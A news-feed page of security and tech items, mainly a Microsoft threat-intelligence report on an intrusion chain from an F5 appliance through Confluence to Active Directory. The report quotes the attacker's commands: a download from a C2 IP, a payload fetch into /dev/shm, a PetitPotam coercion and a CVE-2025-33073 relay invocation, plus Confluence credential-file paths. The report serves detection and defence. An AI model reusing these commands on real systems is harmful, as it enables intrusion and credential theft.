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Drupal is warning users that it has already seen attempts to exploit CVE-2026-9082 and security firms are seeing attacks against thousands of websites.

The post Drupal Vulnerability in Hacker Crosshairs Shortly After Disclosure appeared first on SecurityWeek.

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Microsoft recognized as a Leader in The Forrester Wave™ for Workforce Identity Security Platforms

Microsoft Malware Protection Center - Fri, 05/22/2026 - 1:00pm

Identity is the backbone of modern cybersecurity. Every access decision carries risk, across employees, partners, devices, workloads, and an expanding set of AI-powered agents.

But most organizations are still operating across disparate systems. Identity signals are captured in one place, access policies enforced in another, and response workflows managed separately. That fragmentation slows decision-making, increases operational complexity, and creates gaps cyberattackers can exploit.

Customers are looking for an identity platform that meets their evolving needs. We’re pleased to share that Microsoft has been recognized as a Leader in The Forrester Wave™: Workforce Identity Security Platforms, Q2 2026, receiving the highest scores in both the current offering and strategy categories. We believe this recognition demonstrates the value that the Microsoft Entra product portfolio brings to our customers, which we are always striving to improve. This report also reflects a broader shift in the market. Identity is no longer just a checkpoint in the access flow. It has become the primary way organizations manage risk across environments.

Explore Microsoft Entra identity and access solutions Figure 1. The Forrester Wave™: Workforce Identity Security Platforms, Q2 2026.

Forrester’s research highlights the need for strong identity foundations, actionable intelligence, and support for emerging AI-powered scenarios. As identity surfaces expand and cyberthreats grow more dynamic, organizations need a model that connects signals, enforces policy consistently, and drives response in real time. Without that continuity, security remains reactive and incomplete.

This is especially important as identity continues to be one of the most targeted attack surfaces, with credential-based attacks still dominating. Securing access requires more than stronger authentication. It requires bringing identity, access, and response into a unified system.

Read the full Forrester Wave report Why this recognition matters now

As AI expands the number of identities and accelerates the pace of change, organizations need approaches that simplify how identity is managed while strengthening how risk is controlled. That means moving beyond disconnected tools toward systems that are integrated by design.

The priorities highlighted by Forrester in their report reflect this reality. They also align with Microsoft’s focus on delivering a comprehensive strategy based on Zero Trust principles, using AI in the flow of work, and extending identity and access controls to AI agents. Forrester noted Microsoft strengths in identity threat detection and response (ITDR), access control, phishing-resistant authentication, and identity verification. These capabilities are essential for organizations to stay ahead of evolving cyberthreats and improve their identity security posture continuously. Microsoft is focused on helping customers reap the benefits of a unified system that extends governance, visibility, and control across all identities.

AI is accelerating identity complexity

AI is reshaping the identity landscape. It is increasing both the number of identities and the speed at which they operate.

In addition to human users, organizations now need to manage AI agents and other non-human identities. These identities require authentication, authorization, lifecycle management, and governance. They operate at machine speed and interact with systems in ways traditional identity models were not designed to handle. At this scale, static policies and disconnected systems fall short. Organizations need continuous enforcement driven by real-time signals.

Treating AI-powered identities as core participants in an identity strategy enables organizations to extend governance, visibility, and control as their environments evolve. This is not an incremental change. It is a structural shift in how identity must be managed.

Evolving your identity and access approach

Identity and access should be an integrated system rather than a collection of tools, for human and non-human identities. An Access Fabric brings together identity signals, access policies, and security workflows into a continuous loop. Signals inform decisions. Decisions trigger enforcement. Enforcement drives response.

This model enables organizations to move beyond static, point-in-time checks to continuous, context-aware access decisions across environments.

With Microsoft Entra, organizations can apply consistent access policies to any identity across Microsoft cloud, on-premises, and third-party applications, helping reduce fragmentation while improving visibility and control.

By bringing signals, policy enforcement, and response together, Microsoft Entra helps organizations move from reactive identity management to continuous risk evaluation and control.

Learn more

Learn more about Microsoft Entra solutions. Bookmark the Microsoft Entra blog to keep up with our expert coverage on workforce identity matters.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

Read the Forrester Wave™: Workforce Identity Security Platforms, Q2 2026

Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here .

The post Microsoft recognized as a Leader in The Forrester Wave™ for Workforce Identity Security Platforms appeared first on Microsoft Security Blog.

Categories: Microsoft

From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence

Microsoft Malware Protection Center - Fri, 05/22/2026 - 12:53pm

In this article

Attack chain overview
Mitigation and protection guidance
References
Learn more

A growing trend in modern intrusions is the compromise of internet-facing edge appliances such as firewalls and VPN gateways. Systems traditionally deployed as security boundaries are increasingly becoming initial access points due to the continued discovery and exploitation of critical vulnerabilities.

Because these devices are externally exposed, lightly monitored, and highly trusted inside enterprise environments, compromise can provide a durable foothold with limited visibility. Edge appliances often store credentials, certificates, session material, authentication tokens, and identity integrations with directories, cloud services, and identity providers. Once compromised, these trust relationships can enable lateral movement that bypasses traditional security controls.

In this incident, the threat actor compromised an internet-facing firewall appliance and used trusted relationships to pivot to an internal Linux host. From there, the threat actor compromised a vulnerable SaaS application and leveraged its credentials to conduct relay-style authentication attacks against Active Directory.

This incident reflects a broader shift toward identity-centric, multi-domain attack chains that span network infrastructure, endpoints, SaaS platforms, cloud workloads, and identity systems. Organizations should treat edge devices, non-Windows systems, and cloud identities as security-critical assets, prioritize monitoring across these environments, and use attack path analysis to identify where threat actors are most likely to establish initial access.

Attack chain overview Figure 1. Multi-stage Linux intrusion via F5 and Confluence – Attack flow. Figure 2. Multi-stage Linux intrusion via F5 and Confluence – Threat actor activities. Initial access: Exploiting edge appliances

The threat actor established SSH access to the first Linux host from a network device identified as an F5 BIG-IP load balancer. Device inventory confirmed the source as an Azure-hosted appliance running version 15.1.201000. This is a specific BIG-IP Virtual Edition (VE) image version deployed primarily in cloud environments and commonly used in Azure ARM templates and Terraform modules for deploying F5 BIG-IP instances. This version of BIG-IP reached end-of-life (EOL) on December 31, 2024. Retiring deprecated firewalls is a security imperative, as unsupported hardware might leave the network exposed to modern threats.

This aligns with a broader pattern observed in recent high‑impact incidents, where internet‑facing edge devices such as routers, firewalls, and gateways are compromised through N‑day vulnerabilities. Operational constraints, including the availability of maintenance windows, could delay the installation of software updates for these appliances. When such devices are compromised, threat actors might be able to abuse or extract embedded trusted identities, enabling lateral movement that can bypass traditional perimeter and endpoint‑focused controls.

In this incident, the threat actor authenticated to a Linux server over SSH using a privileged account. The threat actor maintained this level of access throughout the observed activity without establishing explicit persistence mechanisms, underscoring the risk posed by over-privileged identities with sudo rights. The threat actor maintained sustained hands-on keyboard access throughout the attack, directly executing actions during the SSH session.

Discovery and reconnaissance

The threat actor performed extensive reconnaissance of the host and network, including file enumeration, network scanning, and service discovery. They aggressively scanned the internal network subnets with Nmap to identify connected hosts, and then used Nmap on the identified hosts to detect open services. This execution was automated using a shell script. The threat actor performed a horizontal scan to identify connected assets, and then performed a more thorough vertical scan using the results from the first scan.

The threat actor used gowitness to perform a detailed reconnaissance of the HTTP/HTTPS services identified in the previous scan.

gowitness scan nmap -f $i --write-db --write-screenshots --screenshot-path ./screenshots --screenshot-fullpage --open-only --service-contains http --delay 5 --threads 1 --chrome-proxy socks5://127.0.0.1:9090

Where they identified Windows servers, the threat actor tried common NTLM-based lateral movement techniques using the following open-source tools:

enum4linux
netexec
nmbclient
smbclient
rpcclient
timeroast
ldapsearch
kerbrute
nxc
responder

These initial attempts were unsuccessful.

The threat actor then downloaded a custom scanning tool from 206.189.27[.]39 using wget:

wget http://206.189.27[.]39:8888/5

The scanning tool file was detected as HackTool:Linux/MalPack.B. The tool performed reconnaissance of the organization’s web infrastructure. The organization uses multiple web applications and mobile services (for example, Firebase and GCM). The reconnaissance tool attempted to connect to the applications and services that the compromised Linux server interacts with, most likely to enumerate and identify access controls.

Lateral movement and identity compromise

During reconnaissance, the threat actor identified an Atlassian Confluence server within the network with unpatched vulnerabilities and leveraged these vulnerabilities to execute code remotely. Due to better hardening as a result of RTP being turned on, the threat actor used the initial Linux host as a staging server and had to try multiple ways of dropping the payload into the target Confluence server. Each time they dropped the payload onto the host, it was blocked. Assuming network-level blocking, the threat actor set up an FTP server on the initial Linux host using Python’s ftplib module to transfer the custom scanning tool to the Confluence server.

curl -o /dev/shm/ag ftp://anonymous:anonymous@[REDACTED_LOCAL_IP]/5

After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:

/opt/atlassian/confluence/conf/server.xml
/var/atlassian/application-data/confluence/confluence.cfg.xml

This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.

nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP] --dc-fqdn [REDACTED_HOSTNAME].[REDACTED_DOMAIN].com --target [REDACTED_HOST] --target-ip [REDACTED_IP] python3 dnstool.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** [REDACTED_HOST].[REDACTED_DOMAIN].com -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d [REDACTED_IP] -dns-ip [REDACTED_IP]

The threat actor used testssl to probe for SSL/TLS weaknesses, indicating an attempt to identify downgrade paths and protocol misconfigurations.

This incident vividly demonstrates that vulnerable applications don’t need to be directly exposed to the internet to result in high severity compromises. Once an initial foothold is established, threat actors can pivot laterally and target internally accessible services to escalate privileges, expand access, or deploy tooling deeper into the environment.

In cloud and hybrid deployments, this risk is amplified by the implicit-trust boundaries between applications and services, where authenticated identity, network locality, and service-to-service trust can be abused. As a result, unpatched internal applications, particularly those running with elevated permissions or trusted identities, represent a critical attack surface and can materially impact the overall security posture of the environment.

From initial access to the final stage, the threat actor was systematically probing the tenant and experimenting with multiple techniques to expand access. During this phase, they identified and abused several assets that ultimately provided elevated privileges, illustrating that threat actors don’t need advanced sophistication to be effective – only time, persistence, and the presence of exploitable security gaps across the environment.

This intrusion demonstrates how a single remote code execution vulnerability in a perimeter-facing web component can ultimately cascade into identity compromise in a completely separate application, crossing platform and trust boundaries. Even in environments with hardened Windows systems, insufficient monitoring and delayed patching across a hybrid estate can result in trusted identities and internal application relationships being abused. The breadth of techniques employed by the threat actor and their repeated hands-on keyboard activity, including attempts to further compromise a domain controller, underscore the reality that determined threat actors will systematically pursue all available paths until a viable route to full-tenant compromise is achieved.

Mitigation and protection guidance

Treat internet-facing edge appliances as Tier-0 assets and enforce lifecycle + patch governance.

In this intrusion, the initial foothold came from an end-of-life F5 BIG-IP version. Organizations should maintain an accurate inventory of externally exposed appliances, track end-of-support dates, and operationalize rapid patching for known-exploited vulnerabilities. Where immediate patching isn’t feasible, compensating controls should be applied, such as restricting management-plane exposure, reducing permitted source IP ranges, and increasing telemetry and alerting for anomalous administrative access.

Harden and patch internal web applications with the same urgency as internet-facing services.

Although Confluence was not exposed externally, an unpatched internal service still enabled remote code execution once the threat actor had network access. Critical internal applications (like Confluence) should be patched and monitored even if they have no direct internet exposure, because they often hold sensitive information and become reachable from outside the network after a threat actor gains any internal foothold. Treat internal applications as part of your critical attack surface: regularly look for known vulnerabilities and apply security updates quickly.

Apply identity hardening to reduce the feasibility and blast radius of relay-style authentication attacks.

After credential theft, the threat actor attempted Kerberos relay and other Windows authentication abuse against domain infrastructure. Defensive measures include minimizing or disabling NTLM where possible, enforcing SMB signing, enabling LDAP signing and channel binding, and using Extended Protection for Authentication (EPA) on applicable services to bind authentication to the channel and reduce relay success. Combine these controls with a tiered administration model (separate admin accounts and no reuse of privileged credentials on lower-trust hosts) to prevent a single-application credential compromise from leading to domain compromise.

Help prevent implant execution and common lateral movement tooling with Microsoft Defender in block mode.

This intrusion involved custom ELF payloads and commodity tooling, including network scanners, tunneling/backdoor binaries, and NTLM/Kerberos-focused utilities, all of which rely on successful execution on Linux hosts. In the environment where this intrusion occurred, real-time protection was only enabled on one machine, and on that host it blocked the attempted execution. To reduce dwell time and help prevent follow-on lateral movement, enable Defender prevention capabilities consistently across Linux servers.

Microsoft Defender XDR detections Tactic Observed activity  Microsoft Defender coverage  Initial access, ExecutionThreat actor logs in through SSH and drops an ELF binaryMicrosoft Defender for Endpoint
Executable permission added to file or directory Suspicious file dropped and launched HackTool:Linux/MalPack.B (Blocked on Confluence server) DiscoveryThreat actor enumerated files on the Linux system and performed network scanning, access of Confluence credentialsMicrosoft Defender for Endpoint
Enumeration of files with sensitive data Suspicious script launchedLateral movementThreat actor performed remote code execution on a Confluence server identified through network scanning in the same network Microsoft Defender for Endpoint
Suspicious process executed by a network service Suspicious remote command execution via Java web application Suspicious piped command launchedPrivilege escalationThreat actor performed relay attacks against the domain controllerMicrosoft Defender for Endpoint
Authentication coercion attack HackTool:Linux/Kerbrute!rfn Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

Incident investigation
Microsoft User analysis
Threat actor profile
Threat Intelligence 360 report based on MDTI article
Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Advanced hunting

SSH login from F5 BIG-IP device

let lookback = 7d; let dhcpTolerance = 2h; // Tolerance for DHCP IP address changes let FilteredDevices = DeviceInfo | where Timestamp > ago(lookback) | where Vendor == "F5" | where OSVersion == "15.1.201000" | extend SourceDeviceId = DeviceId | summarize by SourceDeviceId; let DeviceIpSnapshots = DeviceNetworkInfo | where Timestamp > ago(lookback) | where isnotempty(IPAddresses) | extend IPAddresses = todynamic(IPAddresses) | mv-expand ip = IPAddresses | extend IPAddress = tostring(ip.IPAddress) | where isnotempty(IPAddress) | project SourceDeviceId = DeviceId, SourceIPAddress = IPAddress, SourceIpTimestamp = Timestamp | join kind=inner FilteredDevices on SourceDeviceId; DeviceLogonEvents | where Timestamp > ago(lookback) | where ActionType == "LogonSuccess" | where isnotempty(RemoteIP) | project LogonTimestamp = Timestamp, DestinationDeviceId = DeviceId, RemoteIP, AccountName, InitiatingProcessFileName | join kind=inner ( DeviceIpSnapshots ) on $left.RemoteIP == $right.SourceIPAddress | where LogonTimestamp between ((SourceIpTimestamp - dhcpTolerance) .. (SourceIpTimestamp + dhcpTolerance)) | extend IpAssignmentToLogonDeltaSeconds = abs(datetime_diff("second", LogonTimestamp, SourceIpTimestamp)) | summarize arg_min(IpAssignmentToLogonDeltaSeconds, *) by LogonTimestamp, RemoteIP, DestinationDeviceId | project LogonTimestamp, SourceDeviceId, DestinationDeviceId, RemoteIP, SourceIpTimestamp, IpAssignmentToLogonDeltaSeconds, AccountName, InitiatingProcessFileName | order by LogonTimestamp desc

Credential discovery from Confluence

Payload delivery through compromised Confluence server

let lookback = 7d; DeviceProcessEvents | where Timestamp > ago(lookback) | where InitiatingProcessFileName == "java" | where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar") | where ProcessCommandLine has_any ("chmod 777 /dev/shm", "chmod 777 /tmp" , "base64 -d > /dev/shm", "curl -o /dev/shm/", "curl -o /tmp/") Indicators of compromise (IOC) IndicatorTypeDescription4a927d031919fd6bd88d3c8a917214b54bca00f8ddc80ecfe4d230663dda7465File hashCustom scanning toolb4592cea69699b2c0737d4e19cff7dca17b5baf5a238cd6da950a37e9986f216File hashShell script to automate network scanning using Nmap710a9d2653c8bd3689e451778dab9daec0de4c4c75f900788ccf23ef254b122aFile hashKerbrute tool57b3188e24782c27fdf72493ce599537efd3187d03b80f8afe733c72d68c5517File hashgowitness scannerbdd5da81ac34d9faa2a5118d4ed8f492239734be02146cd24a0e34270a48a455File hashNTLM relay Python script206.189.27[.]39IPv4 addressC2 server MITRE ATT&CK techniques observed

This campaign exhibited the following MITRE ATT&CK techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR detections section above.

TacticTechnique IDTechnique nameHow it presents in this campaignLateral MovementT1021.004Remote Services: SSHThreat actor used SSH to access the Linux host through the compromised firewallExecutionT1059.004Command and Scripting Interpreter: Unix ShellThreat actor performed hands-on keyboard activity though SSH and used shell script to automate network scanning and discovery of web services. Most of the lateral movement tools were open source/publicly available Python scriptsT1059.006Command and Scripting Interpreter: PythonDiscoveryT1043Commonly Used PortThreat actor performed network scanning using Nmap, used ls and find commands to discover files on the Linux hostsT1083File and Directory DiscoveryCollectionT1005Data from Local SystemThe threat actor stored the results of the scan on the system. This along with other files in the system was exfiltrated through SSHCommand and ControlT1071Application Layer ProtocolTool transfer through wget (backdoor and kerbrute)T1105Ingress Tool TransferDefense EvasionT1222.002File and Directory Permissions Modification: Linux and Mac File PermissionsExecutable permission added to ELF binariesInitial AccessT1190Exploit Public-Facing ApplicationLateral movement to Confluence server through RCE in Java web applicationPersistenceT1505Server Software ComponentPersistent access to the Confluence web server through web shellDefense Evasion; Persistence; Privilege EscalationT1078.002Valid Accounts: Domain AccountsUsed the domain credentials of the Confluence server for subsequent attacksCredential AccessT1187Forced AuthenticationThreat actor targeted domain controller through NTLM relay attacks.T1557Adversary-in-the-Middle References

BIG-IP APM vulnerability CVE-2025-53521 https://my.f5.com/manage/s/article/K000156741
CISA Adds CVE-2025-53521 to KEV After Active F5 BIG-IP APM Exploitation https://thehackernews.com/2026/03/cisa-adds-cve-2025-53521-to-kev-after.html
Cisco Firewall and VPN Zero Day Attacks https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
Exploitation of Palo Alto firewall devices https://www.darktrace.com/blog/darktraces-view-on-operation-lunar-peek-exploitation-of-palo-alto-firewall-devices-cve-2024-2012-and-2024-9474

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

How Microsoft discovers and mitigates evolving attacks against AI guardrails
Learn more about securing Copilot Studio agents with Microsoft Defender 
Evaluate your AI readiness with our latest Zero Trust for AI workshop.
Learn more about Protect your agents in real-time during runtime (Preview)
Explore how to build and customize agents with Copilot Studio Agent Builder
Microsoft 365 Copilot AI security documentation

The post From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence appeared first on Microsoft Security Blog.

Categories: Microsoft

Samsung Chip Workers To Get $340,000 Average Bonus In AI Boom

SlashDot - Fri, 05/22/2026 - 12:41pm

Categories: SlashDot

Samsung's memory chip employees negotiated $340k bonuses this year

Hacker News - Fri, 05/22/2026 - 12:35pm

Article URL: https://www.theverge.com/tech/936002/samsung-memory-chip-employees-deal-strike-bonus

Comments URL: https://news.ycombinator.com/item?id=48238208

Points: 1

# Comments: 0

Categories: Hacker News

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